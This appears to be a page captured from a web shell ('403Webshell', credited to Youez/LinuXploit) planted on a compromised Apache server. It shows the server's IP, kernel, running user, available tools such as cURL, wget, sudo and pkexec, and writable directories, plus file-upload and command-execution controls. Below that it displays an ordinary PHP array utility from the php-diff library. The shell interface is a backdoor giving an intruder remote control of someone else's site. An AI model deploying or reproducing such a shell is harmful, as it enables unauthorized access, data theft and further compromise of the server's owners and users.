403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/icaoc/libraries/vendor/jfcherng/php-diff/src/Utility/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/icaoc/libraries/vendor/jfcherng/php-diff/src/Utility/Arr.php
<?php

declare(strict_types=1);

namespace Jfcherng\Diff\Utility;

final class Arr
{
    /**
     * Get a partial array slice with start/end indexes.
     *
     * @param array    $array the array
     * @param int      $start the starting index (negative = count from backward)
     * @param null|int $end   the ending index (negative = count from backward)
     *                        if is null, it returns a slice from $start to the end
     *
     * @return array array of all of the lines between the specified range
     */
    public static function getPartialByIndex(array $array, int $start = 0, ?int $end = null): array
    {
        $count = \count($array);

        // make $end set
        $end ??= $count;

        // make $start non-negative
        if ($start < 0) {
            $start += $count;

            if ($start < 0) {
                $start = 0;
            }
        }

        // make $end non-negative
        if ($end < 0) {
            $end += $count;

            if ($end < 0) {
                $end = 0;
            }
        }

        // make the length non-negative
        return \array_slice($array, $start, max(0, $end - $start));
    }

    /**
     * Determines whether the array is associative.
     *
     * @param array $arr the array
     *
     * @return bool `true` if the array is associative, `false` otherwise
     */
    public static function isAssociative($arr): bool
    {
        foreach ($arr as $key => $value) {
            if (\is_string($key)) {
                return true;
            }
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit